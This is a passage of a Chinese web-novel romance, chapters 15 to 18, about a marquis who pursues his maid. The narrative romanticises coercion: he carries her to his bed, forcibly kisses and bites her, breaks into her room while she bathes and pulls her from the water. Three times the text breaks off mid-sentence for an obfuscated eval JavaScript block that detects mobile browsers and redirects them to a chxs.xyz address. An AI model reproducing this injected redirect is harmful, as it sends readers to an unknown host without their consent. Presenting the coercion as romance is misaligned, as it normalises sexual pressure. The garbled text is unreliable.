>怀里的人儿呼吸浅浅,他怀疑她不会又睡了过去,问道:“睡着了?” 这般尴尬丢人又发愁,哪能睡得着? 但是宁泠并不想搭理他,但是他说话间胸膛轻微震动,震的她紧贴的脸庞发麻,有种奇异的感觉。 宁泠不适应地想着挪开点距离。 如今季节穿的衣裳单薄,她的脸庞贴着他的胸口,此时又在不安分地乱动。 裴铉忽地有些后悔刚才问话了,他的步伐加大。 一路忍得艰辛,到了居住的院子,身后的林韦德早已不见了身影,紫叶正带着丫鬟前来迎接。 见到这个场景也是一愣,虽然侯爷怀里的女人未曾抬头,可她还是下意识地猜出了是何人。 她很快反应过来,带着小丫鬟们又悄无声息地退下。 裴铉抱着宁泠径直进了内室,直接将他扔在了他的那张紫檀雕花纹拨步床。 床榻上有柔软的薄被作为缓冲,宁泠并未感觉到疼痛。 她的眼神放空盯着上方的淡青色绣水莲的床帘,心里明明是该着急的,又种无能为力的感觉。 裴铉见人扔下后,居高临下地站在床榻处看着宁泠。 一路上的颠簸,她的发髻早就散了,凌乱的发丝或是贴在脸庞上,或是肆意的横铺在淡青色的床单上。 乌黑发亮的发丝四散,那朵海棠花倒还是安稳别在发髻上, 白皙如玉的肌肤在乌黑的发丝衬托下,更有细腻光泽更诱人。 宁泠的嘴唇被他吻得红肿,艳丽勾人的颜色引得他移不开视线。 他坐在宁泠身边,微微粗粝的指腹轻轻蹂躏着她的唇肉:“刚才还伶牙俐齿,现在成了不说话了?” 宁泠闻言眼眸微转,潋滟水光更显得美人生动。 她能说什么?一个男人都把一个女人抱到他床榻上了会做什么?而且他裴铉难不成是个大好人?会因为她哀求几句就饶了她?倒不如说更加激起他征服欲。 “看来真是闷傻了?”虽然宁泠并不搭理他,但裴铉并不生气。 他双手解开自己的腰封,等会有她开口求饶的时候。 15. 第 15 章 宁泠身上的刺痛感又一阵阵来袭,感觉身下似乎是有什么液体流出,她不舒服地蹙着眉头思考,忽地想起她这月的葵水将近。 她内心一阵暗喜,面上却不敢显露分毫。 裴铉手脚麻利地解开腰封,却见宁泠苦着一张小脸蜷缩在床边,他才刚刚靠近闻见那淡淡的橘子清香。 听得她嗓音虚弱,软绵绵开口道:“侯爷,奴婢好像,好像来了葵水,不能伺候你了。” 闻言,裴铉那张眸色深沉的俊脸僵住,又嗤笑一声:“宁泠,又开始撒谎骗人了?” 他知她本就不心甘情愿,估计又开始耍那些小把戏了。 宁泠委委屈屈答道:“奴婢不敢欺瞒于你。” 接着她艰难从床上起身,果然那淡青色仙鹤图案的床褥上染着淡淡血迹,宁泠身下散开的裙子的血迹更加明显。 她伸出纤纤玉指遥遥一指,为自己争辩:“喏,看。” 裴铉的脸色更加不好看,咬牙切齿道:“我不瞎,不用你专门指给我看。” 倏地他视线一转,对着那修长白皙的手指,眼眸暗转。 宁泠顿时感觉到室内的气氛危险起来,她不管不顾地大声道:“奴婢先下去清理一下。” 然后头也不回地小跑离开。门外的紫叶见她这副架势,先是不惑,又注意到她身后的血迹。她脸上闪过了然,接着小心翼翼进屋清理,生怕触了侯爷霉头,任谁都能看出今日侯爷想幸了宁泠,奈何天公不作美。 宁泠回屋清理妥善后才长舒一口气,躺在床榻上面色愁容。 现在裴铉的意图已是显而易见,她绞尽脑汁也没想出什么好办法。 府邸旁人不少人都私底下议论她真是好福气等等,她并不是一无所知。 但这真是好事吗? 宁泠心绪不宁,想到了自己爹爹娘亲。 他们原本生活在一个偏远的小镇上,经营着一个打铁铺。日子虽然算不上阔绰,但也算是衣食无忧。 可是自从爹爹感染风寒后就一病不起,家里值钱的东西被挨个抵押当买。 但爹爹的病情依旧没有好转,家里值钱的东西依旧所剩无几。 那时候的她出落得亭亭玉立,附近不少人都前来求亲,好几户大户人家都愿意出丰厚的聘礼,纳她为妾,可是娘亲爹爹都立马回绝了,气得爹爹恨不得从床上起来,拿扫把撵人。 镇上的富庶人家也是有纳了妾的,整日里受正房蹉跎不说,连生的孩子也似个仆人似的。 遇上生计不好的时候,不少人家会将女儿卖给大户人家做奴婢,认为那是份好差,活计轻松说出去也算是体面,家里人也跟着大户人家沾光。 但每每她们休假归家,都免不了私底下说着大户人家的各种宅斗,宁泠听了自认为自己不是斗得过之人。 听说那妾室的孩子一辈子都不能叫生母一声娘亲的自从生下来便是被放在正房屋里养着。 她爹爹娘亲自小就千叮咛万嘱咐她,宁为穷人妻,不为富人妾。 可是面对裴铉那般强势的人,宁泠别无他法,想到这个男人,她不由想到邻居家的小孟哥哥。 可惜了爹爹刚去世,将她们娘两托付给族亲,娘亲就郁郁而终,她也被当做累赘,转手买了。 待她第二日去伺候裴铉的时候,刚一进屋就就见他的目光注视着她,从上到下扫视一圈。 宁泠低着头不敢对上他那幽深吓人的眼眸。 此时林韦德背着大刀,手里拿着几个礼盒快步走了过来,嘴上说道:“这是忠国公那边送来的。” 他将礼盒整齐得摆放在桌面上,就静静伫立在一旁。 裴铉脸上百无聊赖,随手打开。 都是些名品珍藏之物,价值不菲,但裴铉神色未变,直至一方砚台上。 那方澄泥砚外观均匀,石质坚润,一眼便能瞧出是个极品。 只是可惜能轻易看出有人使用的痕迹,裴铉不悦地轻蹙眉头。 林韦德连忙解释:“忠国公那边人说这是之前书画大家使用过一次的,那副书画也连带着一并送来了。” 经过书画大家使用的砚台,自然是水涨船高,但裴铉脸上不屑,对着宁泠嘱咐道:“都收起来。” 宁泠点点头将东西原封不动装好,准备摆放在专门收放物品的储物柜。 林韦德看了眼宁泠,因着东西多,他也帮忙拎着些礼盒。 宁泠脸上带着点迷惑,不知这些好东西又那里惹得裴铉不喜,真是阴晴不定。 林韦德小声解释说道:“咱们主子那里会用别人用过的东西。”忠国公本想送些好东西,出出血当做封口费,轻轻揭过暗探打探消息这事,那知这送礼也送不到人心坎上。 宁泠脑海里有什么东西一闪而过,但又没能及时抓住。 林韦德将东西都提至柜子前,就避免与宁泠独处离开了。 宁泠一边收拾摆放着物件,一边一遍遍地回想到林韦德刚才的话。 下面的格子都被搁满了,她去附近处取了个小板凳,然后脚踩上面将物件继续摆放。 宁泠一遍遍回想,但还是无所收获。 久未见宁泠归来,裴铉绕过那巨大的策马奔腾屏风跟了过来,见她纤细单薄的身影站在三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14836545|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角凳上摆放东西,袅袅细腰随之而动。 宁泠出神的想着,结果脚下一不留心就要踩空。 吓得她轻呼一声,紧闭双眼。 裴铉大步一迈,长臂一揽,将人轻而易举地拥入怀中。 宁泠一张脸蛋吓得染上红晕,长羽般的睫毛颤巍巍,她头上的绿色丝绦缠绕在他手臂上。 感觉到进入炙热坚硬的怀抱中,宁泠一双水灵圆圆的眼眸睁开。 然后她立即想避开,没想到那双结实有力的长臂却猛地将她紧紧向前一拥。 裴铉懒笑:“刚才救你的时候怎么不躲?如今平安了倒是避之不及了。” 此话说得宁泠一阵心虚,尴尬地想要解释,好像又无话可辩。 淡淡的嫩粉色在她小巧的耳垂处晕染开,瞧着近在咫尺的人,清新的甜香还围绕在身畔。 算了,这般逗弄她,自己却是肉到了嘴边也吃不得。 裴铉松了怀抱,只是那绿色丝绦还缠绕在他深蓝色织银边衣袍上,宁泠动作轻柔地将它们解开。 脑海里却突然浮现了一声,“脏”她微微愣了片刻。 眼见着她又出神,裴铉粗粝的指腹捏了捏她的粉腮,提醒道:“又怎么了?整日里脑袋胡思乱想些什么?” 温热的触觉唤醒了宁泠,她立即将丝绦整理好,条件反射地后退一步道:“可能是昨夜没有睡好。” 裴铉带着玉韘那那只手勾起她的下巴,端详了下她的脸色,的确气色不如往日。 “那下去休息。”刚说完这话他又想起林韦德那日提起的手套,见她丝毫没有这意思,又继续道:“随便想想近来是不是忘记了什么?” 宁泠圆润地眼眸微微呆滞了下,她能忘记什么? 裴铉捏着那小巧白皙的下巴,稍稍使劲了些。 听见她轻微的吸气声松了手,清晰可见的红印子烙印在上面。 他轻微地啧了一声,可真够娇气的,片刻功夫就留了印子。 发现她忘了事情,裴铉本是心生不悦,如今心里那几分不悦倒是片刻烟消云散了。 他低头一瞧,宁泠正一双水灵灵的眼眸眼巴巴地望着,呆懵无知的眼神,让他想起了齐冀养着那只狗,装可怜时用上这副表情,齐冀就一点办法都没了,拿它没辙。 他正了正嗓音:“不想去休息,愿意留在这伺候也成。” 宁泠顿时摇摇头,退了出去。 她刚才茅塞顿开,裴铉不是喜洁,不肯用别人用过的东西嘛。连那日才艺惊艳的音娘,他也是半分好脸色都没,如今她想想办法,说不定也能让他厌弃了自己。 16. 第 16 章 宁泠心里盘算了大概,抬眼便看见搁在桌面上的手套。 该找个合适的时间送给禧福,顺便看见另外那朵绒花,希望念儿能够喜欢。禧福他们这些外男的住房不在院子里,只有干活的时候才在争晖院。 要寻个他干活又人少的时候,人多了闲言碎语变多。 书房内裴铉摩挲着手指处的玉韘,抬了抬眼皮子对林韦德道:“去仔细查查宁泠的身份。” 林韦德停顿了一秒后,立马答道:“是” 其实秋月事件后就仔细查了查宁泠的身份,但是因着宁泠中间经过了人牙子的几次倒卖,其中的某些关键人物没有找到,就不了了之了。 那时侯爷也不大关心这些,只怀疑她也是暗桩。 林韦德偷瞥了眼侯爷的神情,恰好对上他的视线。 裴铉嘴角上扬:“忱边人自然是要清清楚楚才能放心。” 次日清晨,宁泠便来上值了,刚到争晖院就瞧见禧福正在清理花花草草的枯叶些。 如今的早晨,伴随着一些秋风和露水带着几分萧瑟之意。 天亮的也比以往要暗些,若是以前必是大亮天,现在却是带着几分灰暗的朦胧感。 现在的时间离裴铉起身还有些时间,不若现在就将手套给禧福,今日他就可以用上了。 宁泠心里如此想着便快速转身回了屋子,将手套和绒花一起拿着,念儿向来爱与禧福一起说说笑笑,估计现在她也不想见自己,干脆都给禧福,让他代为转送。 她走至禧福面前,禧福感觉到身前有人赶紧抬起头:“宁姑娘,早上好啊。” 宁泠笑着回话:“早上好,之前侯爷出门我也跟着出去了,刚好替你买了手套,你在这等等我,我去拿来给你。” 禧福闻言情绪有点激动:“那真好,谢谢你啊。” 接着宁泠一路小跑回去,路上刚好遇见紫叶。 紫叶问道:“怎的往回走?还跑如此急?” 宁泠喘了口气才答道:“走到半路才想起忘了东西,姐姐你先去,我马上来。” 紫叶点点头,提醒道:“那你看可要快些,等会莫要迟了。” 宁泠点点头,又马不停蹄地小跑。 宁泠拿了东西跑回来后,看见禧福还在那,她连忙将东西一股脑塞入他怀中,“你看看这副手套可合你的意?” 禧福连忙将手套拿起打量,针脚细致,厚重得很,外面还加了层皮子,是冬日里的好货。 他笑着点点头:“这种好货,在府里可是昂贵的很呢,你花了多少银子,今日我随身买的银子不多,估计要明日给你了。” 宁泠笑着摇摇头:“之前等念儿说,你的生辰快要到了,这是送你的生辰礼物。” 往日里谁过生,一般都是几个相熟关系好的,出上一份份子钱,置办一桌酒席,大家开开心心的吃上一顿。 只是眼下她的情况,估计去了大家反而不自在了,干脆送个礼物就是了。 禧福一听连连摆手拒绝:“这么贵重,怎么能行?” 宁泠闻言,眉眼带笑:“一双手套,几百文罢了,又不是府里那群黑心人的价格嘛,以后我过生辰,你可要送我礼的。” 禧福闻言放下心,又瞧见那朵绒花:“这花可真好看啊,像朵真花一样。” “听说是外地的新样式,你帮我带给念儿。” 禧福不似念儿那般单纯,知道宁泠的顾虑安慰她道:“她是小孩子心性,估计现在早好了。听说你给了她五两银子,她还赚了二两银子嘞,如今你还给她买绒花,便是天大的脾气也该消了。” 宁泠听了,脸上的笑意更加明显,“若是如此就好了。” 两人也闲聊了几句旁的。 寝室内,裴铉睡醒拨开雾青色绣花纹蚊帐,只看见紫叶一人在外候着,他面色不虞:“怎么只你一人?” 紫叶跪在地上,小心地为他穿鞋回答道:“宁泠路上落了东西,正回去拿。” 裴铉眼眸一转,看来这小丫头点拨一下,还是能够开窍的。 紫叶一边伺候一边问道:“爷今日起的早些了。” 裴铉眼下带着点乌青,但并不影响剑眉星目的俊朗,他没有搭理紫叶。 刚走出内室,就隐隐约约听见外面的说话声,外面的说话声并不大,只是裴铉自幼习武,听觉较之常人更加灵敏,紫叶似是瞧出了他的不悦,屏住呼吸才听见外面轻微的交谈声。 她询问道:“奴婢现在就出去管教他们?” 裴铉轻微摇摇头,径直起身走至外室。 随着距离的越发靠近,外面的交谈声就越发清楚,他听出了有宁泠的声音,其中似乎还夹杂着其他男子的说话声,只是那边有意压低嗓音,他也不能够听清楚具体谈话内容。 他没有出声打断,只是悄无声息走至门下,将门轻轻推开一道小缝隙,冷眼瞧着外面的情形。 旁边的紫叶不知为何,感觉忽然四周的气氛低沉压抑。 外面宁泠正要与禧福道别的时候,禧福犹犹豫豫还是将压在心里良久的话说了出来,他将声音压低:“其实念儿那件事也怪她自己,她那时到处炫耀,恰好被林大人听见了。” 禧福的声音很小,宁泠身子自然地与他拉近关系,两人这副状态落在外人眼中,显得很是亲密。 宁泠稍加思考:“你的意思是林韦德告诉侯爷的。” 禧福点点头:“林大人一直都是侯爷的心腹。” 真是好一个林韦德,想到自己还花银子给他买了护腕,宁泠不由地被气笑了。 站在远处的裴铉刚好看见她模糊的面容,但是那副笑容落在他眼里很是碍眼。 他的眼神阴冷,视线转移又瞧见了被禧福紧紧搂在怀里的手套。 原来就是这副手套,真是够粗糙的,跟府里的绣娘们做的相比起来,相差甚远。这种东西就算是送给他,他也是瞧不上眼的。 那边宁泠与禧福交谈已经结束,宁泠迈着碎布往这边急匆匆地跑过来。 裴铉悄无声息地关门,转身回去继续洗漱穿戴。 紫叶心惊胆战地伺候着,满院子谁看不出侯爷看上了宁泠,偏偏这小丫头心思总在别处,几次三番给侯爷泼冷水。 宁泠一只脚刚踏进室内,就敏感地察觉到室内的气氛不对劲。 紫叶低垂着脑袋忙活,宁泠本想从她的表情中观察一二。 终于趁着她转身将手帕放入盆里清洗时,宁泠的视线与她对上。 刚瞧了一眼,还没读懂她眼神里暗藏的意思, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14862288|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坐在上位处的裴铉冷冰冰地一记眼神就扫视下来。 紫叶感觉继续低头,她将洗净拧干的手帕放至宁泠手上,借口道:“奴婢去催催早饭,怎的还没来。” 裴铉没应声,紫叶急匆匆地行了个礼退下了。 宁泠神情惊讶,莫非今日紫叶伺候不小心惹着了裴铉? 怎的如此怪异,她面色迷惑,将手帕叠好为裴铉净面。 她刚抬起眸子就对视上正打量她的裴铉,他的视线炙热不加收敛。 宁泠的心脏紧张的一颤,连带着手也跟着一颤,看样子惹怒裴铉的人不是紫叶,估计是自己。 室内一片沉默,裴铉率先开口打破安静:“似乎宁姑娘除了怕我,谁都不怕,和谁都可以相处的很好。” 宁泠绞尽脑汁地回想着自己做过的事情,到底是在哪里不小心惹怒了他。 听见他说话先是愣了一下,又思索着怎么回答。 但刚没思索好,就被他粗鲁地捏起下巴,迫使她不得不仰头对上他。 裴铉的眼神流连在她的面容,她长的不是一张惊艳四方的脸,却总是让他每每看不够。 裴铉的另一双手的指腹,触碰上她光洁白皙的额头,游走在那双亮晶晶很是诱人的眼睛,接着是秀气微翘的鼻头,最后停留在她殷红的嘴唇上。 宁泠紧张地眼皮紧闭,不知他又在发哪门子的疯病。 那那都好,就是这张嘴让他又爱又恨,总是对着别人巧言笑兮,对着他紧抿不肯多说一句。裴铉眼眸紧紧注视着她的嘴唇 紧张了片刻,久久未见什么动静。 宁泠又小心翼翼地睁开眼眸,对上裴铉幽深晦暗的眼。 她还未来得及错开视线,他却俯身下来。 宁泠身上葵水还未走,生怕他脑子发热,不管不顾,连忙双手撑在他胸膛处躲避他。 她感觉到自己这双手像是摸到了一块石头,坚硬。 宁泠那点小小的力气,几乎未对裴铉造成任何阻力。 他的脸很快与宁泠的相触,两人嘴唇相贴。 紧接着他毫不留情地在唇肉处咬了一口,疼得宁泠眉头紧皱,奋力挣扎。 裴铉发泄了怒气,心情平息了些,本还想着出气再咬一口,见她苦着一张小脸便就此作罢,不然等会估计她又要掉小珍珠。 他松了对她的禁锢,宁泠连忙抬起手臂打算用袖子擦擦嘴唇。 不过她瞬间感觉到一股危险的气息,果然抬眸就瞧见裴铉正用似笑非笑的眼神睨着他,意思很明白了,她要是敢去擦表达出一丁点的嫌弃,他就会让她好看。 宁泠也只能气鼓鼓地瞪他一眼,真是条疯狗,不仅有疯病还咬人。 “刚才和外面人说什么?那么高兴?”裴铉低头等待着宁泠擦脸。 此事宁泠才恍然大悟,估计他是刚才看见了这一幕生气。 她想起年幼时,娘亲与旁人多说两句,爹爹脸色不好看,她那时候还以为他们吵架生气了,后来还是娘亲刮刮她的鼻子,告诉她那是爹爹喝醋了。 她还傻乎乎地去问爹爹,为什么要喝醋,是因为被酸到了才不开心了嘛? 爹爹面色发红,沉默不语。 她歪着脑袋,脱口而出:“侯爷是吃醋了吗?” 17. 第 17 章 周遭空气似乎都凝固了一瞬,裴铉眨了眨眼,轻笑一声。 他怎么可能会吃醋?不过区区一个婢女,他会羡慕、嫉妒一个小厮,真是天方夜谭、愚不可及。 “你未免也太看得起自己了。”裴铉神情不屑。 宁泠面色恼怒,自己心里一想怎么随口就说了出来呢?给了裴铉嘲笑自己的机会。 她紧抿着嘴唇,没有再回话。 裴铉瞥了眼她的神情继续:“你是我的贴身侍女,自然该把心思用在我身上,而不是旁的不相干人身上。” 宁泠点点头。 几日后,林韦德得了消息前来汇报。 一弯朦胧的月亮挂在苍空,外面黑漆漆一片,书房内几大盏灯火亮如白昼。 林韦德汇报前先小心谨慎地抬头瞄了眼自家主子的神情,看起来似乎比较平静。 他如实禀报道:“宁姑娘的父亲是因病而亡,母亲随后也郁郁而终,后来跟随族亲,但那些族亲嫌她是个累赘就将她卖了。” 裴铉冷笑一声:“这血脉亲情也不多如此。” 林韦德默了一瞬,又继续道:“听说宁姑娘双亲还在时,似乎是打算将她嫁与隔壁邻居家孟氏。” 裴铉放下手中狼毫笔,身子倚靠在椅背处,他眯了下眼睛:“为何?” “听说好像是自幼青梅竹马,两人情投意合。”林韦德话说完后,又忍不住偷瞄了下自家主子的神情。 按理说,自家侯爷对宁姑娘频频示好,要是宁姑娘有意早就主动了,偏偏每次她都避之不及,仿佛自家侯爷是洪水猛兽。 原来是早有爱慕之人了,估计早已情根深种了。 裴铉嗤笑一声,问道:“那人有何出众之处?” “听说是个秀才,容貌端正。” “区区秀才。”裴铉不以为然,难道他还不如一个秀才。 说什么青梅竹马,要是早有情谊,怎么可能眼睁睁冷眼旁观心爱之人被卖?不过是一个虚情假意之人。 裴铉慢条斯理理了理衣角起身,林韦德本想跟随,可他感觉自家主子心情估计不是很好,他也不是很想当出气筒,于是悄无声息地退了下去。 裴铉一个人在庭院处闲逛着,不知不觉走至宁泠的屋外。 室内的灯火还亮着,估计人还没睡。 他懒得思索其他,打算直接推门而入。 他伸手一推,发现应该是落了门栓,推不开。 裴铉自然没有就此收手,靠着蛮力直接动手强行推开了门。 室内有清晰的水声,不难猜测她估计正在沐浴。 裴铉的脚步一顿,稍稍停顿后继续前行,面前是一副屏风遮挡了曼妙的身姿。 室内宁泠正在浴桶里泡澡,好不容易葵水走了,她舒舒服服躺着泡澡,忽然听见外面传来声响。 吓得宁泠赶紧起身坐起来,准备穿好衣服去查看一番。 刚坐起身来,她就看见浴桶外一双玄色镶金边的靴子,视线上移是一双修长绷直的腿,她立刻意识到这是谁了,不敢继续上移。 宁泠紧张地双手抱胸,整个身子蜷缩在一起,整个人尽量沉在水下。 裴铉饶有兴趣盯着她的动作,戏笑问道:“怎么不继续往上瞧了?” 这登徒子真是明知故问,宁泠很是生气,可是人在屋檐下不得不低头。 她因为紧张,全身白嫩的肌肤泛着粉红色,声线也带着娇弱颤抖:“侯爷,奴婢正在沐浴,能不能请你先行回避?” “不能。”裴铉斩钉截铁地回答了这个问题,还大大咧咧地拉了把板凳过来,直接坐在她身旁。 室内的热水正不断地冒着热气,白白的薄雾遮掩了她的身姿,朦胧可见的轮廓曲线更是令人想入非非。 宁泠的贝齿紧咬嘴唇,眼眸不安的四处查看,她将要换洗穿的干净衣裳特意放在旁边,距离很近基本是触手可及。 可裴铉如此肆无忌惮地坐在她身旁,她不敢轻举妄动。 “侯爷怎么晚了,怎么还不休息?”宁泠声音软糯问道,想着说话转移他的注意力,趁他不备伸手拉下衣服披在身上,虽然衣裳不可避免会被浸湿,可是也好过这现在这模样。 裴铉锐利的视线打量在她身上,她此刻低眉顺眼地说话,要多乖巧有多乖巧,平日里的伶牙俐齿不见踪迹。 那一截白的醒目的纤细脖子,全部暴露在他的视线中。 那张带着樱花淡粉的小嘴一张一合,他的心神全被牵引了去。 他连宁泠说的什么也没仔细听清,只得敷衍地嗯了一声。 宁泠秀眉一皱,他这般回话,她绞尽脑汁地想着下一个话题。 她还未开口,裴铉先问道:“水还没凉?” “没。”宁泠的声音低如蚊呐。 裴铉英气地剑眉一挑,接着一双修长的大手直接伸进澡盆中,宁泠被他这一骇人的举动,激的身体一颤,浴桶内水纹涟漪。 她面色通红,抬起一双湿漉漉的眼眸紧张问道:“侯爷这是做什么?” “自然是担心水凉了,怕你生病着凉。”裴铉骨节分明的手在水里轻轻晃动。 宁泠犹如受惊的小鹿,整个人心跳地飞快。 圆润的肩头也在轻微颤抖,整个人战栗不止。 “咦,你在抖什么?”裴铉面色带笑,明知故问问道。 他自幼便生的一副好相貌,俊朗不凡。 往日里宁泠或许会偷偷盯上两眼,可是如今哪还敢看他,只得低头呐呐道:“侯爷,男女授受不亲。” “真是稀奇,你竟还知晓这个?”裴铉似乎很是诧异地看了她一眼,接着说话,“我瞧着你与那小厮说话间眉开眼笑,以为你是不在意这些的。” 宁泠被他这话气的噎住,这是什么混账话。平日与人说说话那是再稀疏平常的事情了,那能够在沐浴时候谈话时相提并论。 但她经过这么久的相处,或多或少还是了解他的性子,若是与他对峙、反驳,更是没有什么好果子吃。 想起紫叶姐姐的提醒,她只能将气往肚子咽下去,可怜兮兮服软:“是奴婢的错,以后万万不可再犯。” 明明这事下午的时候,他便发作了一回,怎么晚上又开始发疯? 宁泠的乖顺明显取悦了裴铉,他的手在水下顺势抓住了她的一缕顺滑的乌发,他的手指缠绕着头发打着圈儿,发梢似有似无地接触着娇嫩的肌肤,丝丝痒意游走。 裴铉一手探入水中,一手撑在浴桶上,笑脸盈盈看着宁泠。 他想了想问道:“可还有其他事情瞒我?” 她生的如此好看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14872532|159066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,连他都忍不住多瞧上几眼,其他男人动心也无可厚非,说不定孟氏只是单相思,拉□□想吃天鹅肉,也不能全怪她。 一听这话,宁泠立刻全身紧绷,上次耳洞的事情,他似乎也是一反常态,相同的话术。 宁泠仔细想了想,莫非是上次出门她观察地形被他发现了,但是不应该啊? 她还什么都没做,只是随处逛了逛,并没有什么实质性的证据。 宁泠想了片刻实在是想不出原因,只能茫然地摇摇脑袋。 “我这人最见不得什么不干不净的关系,什么青梅竹马之类。”裴铉目光如炬地紧盯她。 宁泠面色一变,猛地想起,莫非他问的是孟哥哥? 一看她这番动作,裴铉几乎肯定林韦德打探的消息真实性,他冷哼一声:“那可真是可惜了,进了我这侯府,便是有天大的姻缘也断了。” 宁泠何尝不知道他说的话,成了奴籍,婚姻嫁娶都是主子说了算的,再是她对孟哥哥也只是儿时玩伴,常常可惜自己没有个哥哥。 她这副思索的模样,落在裴铉眼里,正是为此黯然神伤的很。 他语气不善道:“那种狼心狗肺的男人有什么好想的,你被卖进侯府,也不曾见他来救你。” 宁泠:“我与孟哥哥只是.......” 她的话还未说完,就被裴铉打断:“哥哥?” 他一字一字说出,带着一股极大的压迫感。 宁泠被他吓住了,一直伺机而动打算拉衣服的手,此时也什么都顾不得了。 她迅速伸出纤细白皙的手,朝着屏风处搭着的衣裙抓取。 接触到衣角的触感时,她心中刚刚舒了一口气,似乎那紧张不安的心都有了依靠点。 她用力地将衣角抓住往回拉,可尚还未使出力气。 裴铉在那水里的那双手也迅速出手,一双大手就包裹住她柔若无骨的小手,阻止了她下一步的动作。 裴铉宽大地手掌覆盖在她的手上,声音带笑:“好好说话时,怎么忽然开始动手动脚?” 他早在她出手时就有所察觉,只是想先观察她想干什么,最后偏偏等到她抓住衣角再阻止。 宁泠被他一番无耻言论惊讶地嘴唇微张。 她这副呆样,引得裴铉暗叹一声,如此呆笨,没有他免不了被人欺负。 宁泠眼见别无他法,只得扭扭捏捏答道:“水凉了。” 裴铉:“那你起身穿衣裳便可,这衣服拖下去湿了可不保暖。” 这道理宁泠自然知道,可他不走,她那里敢起身。 但是因着刚才拉衣服的举动,她原本蜷缩在水下的身子,稍稍冒出了一些。 之前只余脖颈在外,现在锁骨也在水面之上,其余部分都在升腾的白雾之下。 但是她的一整支胳膊暴露在外,娇嫩的肌肤被裴铉见过所以的玉脂都更好,想必触感更是。 两人四目相对,裴铉似乎因为在密闭的水蒸气中待久了,面色开始轻微发红。 宁泠的手指努力挣扎,想要挣脱他的控制。 但那双大手很是有力,几乎无可撼动。 裴铉紧盯着她肌肤,突然想起刚才所想的欺负,忽地面色巨变。 他声音也猛地拔高:“那个孟氏碰过你没?” 18. 第 18 章 裴铉说话间,手上力气也随着加重。 宁泠疼得轻轻嘶了一声,但裴铉依旧紧紧握住他的手。 她看着他面目近乎狰狞,心里早有预谋的那个想法也随之升起。 她的沉默不回答落在裴铉这里,分明是心虚不敢说话。 他压制着怒火再次质问:“你是不是早就和孟氏暗中苟且?” 宁泠见他如此在乎,下定决心豁出去:“是,我与孟哥哥早就倾心于彼此,我们已拜过天地,早有夫妻之实!” 裴铉的面色更加难看,握住她手的力气更大,似乎恨不得将她的骨头都捏碎。 宁泠一鼓作气道:“我们双亲都已经同意,只待......” 她的话还未说话,裴铉爆喝一声:“住嘴!” 吓得宁泠浑身一震,不敢继续再说话。 裴铉阴狠的视线沾在宁泠身上,目光扫视着她的身体,一副思索的模样。 宁泠心知他向来高傲自大,颇为自负,而且有洁癖。 那忠国公送来的上好砚台,他明明已经有几分心动,但是哪书画大家只用过一次,他也绝不肯再用,将它束之高阁。 对待一方砚台而且如此,何况是自己的身边人。 他知她委身于她人,她不信他还能不受影响,继续下去。 之前她虽有这种想法,但是一直找不到合适时机方法,今日这场戏刚刚合适。 也只有这个办法才能解眼下局势。 宁泠冷冰冰开口:“侯爷身份尊贵要什么没有?难道还能看上奴婢这残花败柳之身?” 这是激将法,故意刺激裴铉,让他面子下不来。 “你还真是忠贞。”裴铉语气阴恻恻。 他忽然松开紧握住宁泠抓住衣角的手,宁泠暗自松了一口气。 猜测他应该是厌恶她了,她知道高门大户最是注重贞洁,更别说她本就身份低微。 宁泠顺势准备拉扯下衣服。 裴铉整个人站立起来,宁泠猜测他多半要暴怒而走了。 其实策划此事时,她一直担心会彻底惹怒裴铉,会不会小命不保。 可是据她的观察,裴铉应该不至于,可能会罚她干粗活,最差的结果已是变卖了她。 但她宁愿嫁与小厮与妻,世世代代做奴仆,也不肯为人妾室。 裴铉整个人站起来后并没有直接暴走,而是目光深沉地盯着下面的人。 接着他那双大手直接按在她圆润的肩头处,宁泠想躲却是避无可避。 然后他手臂用力,直接一手将她整个人从浴桶中抓了起来。 浴桶里的水被带动的哗啦哗啦响,宁泠整个身躯也彻底暴露在他视线下。 裴铉看着那凹凸有致,曼妙玲珑的神情,喉头忍不住下咽,眸光越发晦暗不明。 宁泠手抓着那衣服,赶紧匆忙地披上,但只是一件单薄的外衣,而且沾了水后,紧紧贴近肌肤,更加增添了一层朦胧美。 她大惊失色:“侯爷,这是做什么?” 他不可能心中对这件事毫不芥蒂。 裴铉的手依旧按在他肩头,她温热光滑的肌肤感受到他掌心炙热的温度。 裴铉轻笑一声:“你这次的把戏,耍得倒是不错。” 将他气得头脑发昏,差点中计。 宁泠心惊,他怎么可能如此快时间就戳穿了她的计谋,而且此事是他先行提起,他不可能疑心才对。 “侯爷这般死缠烂打,可真令我受宠若惊呢。”宁泠强行镇定心神,她怀疑他只是诈她。 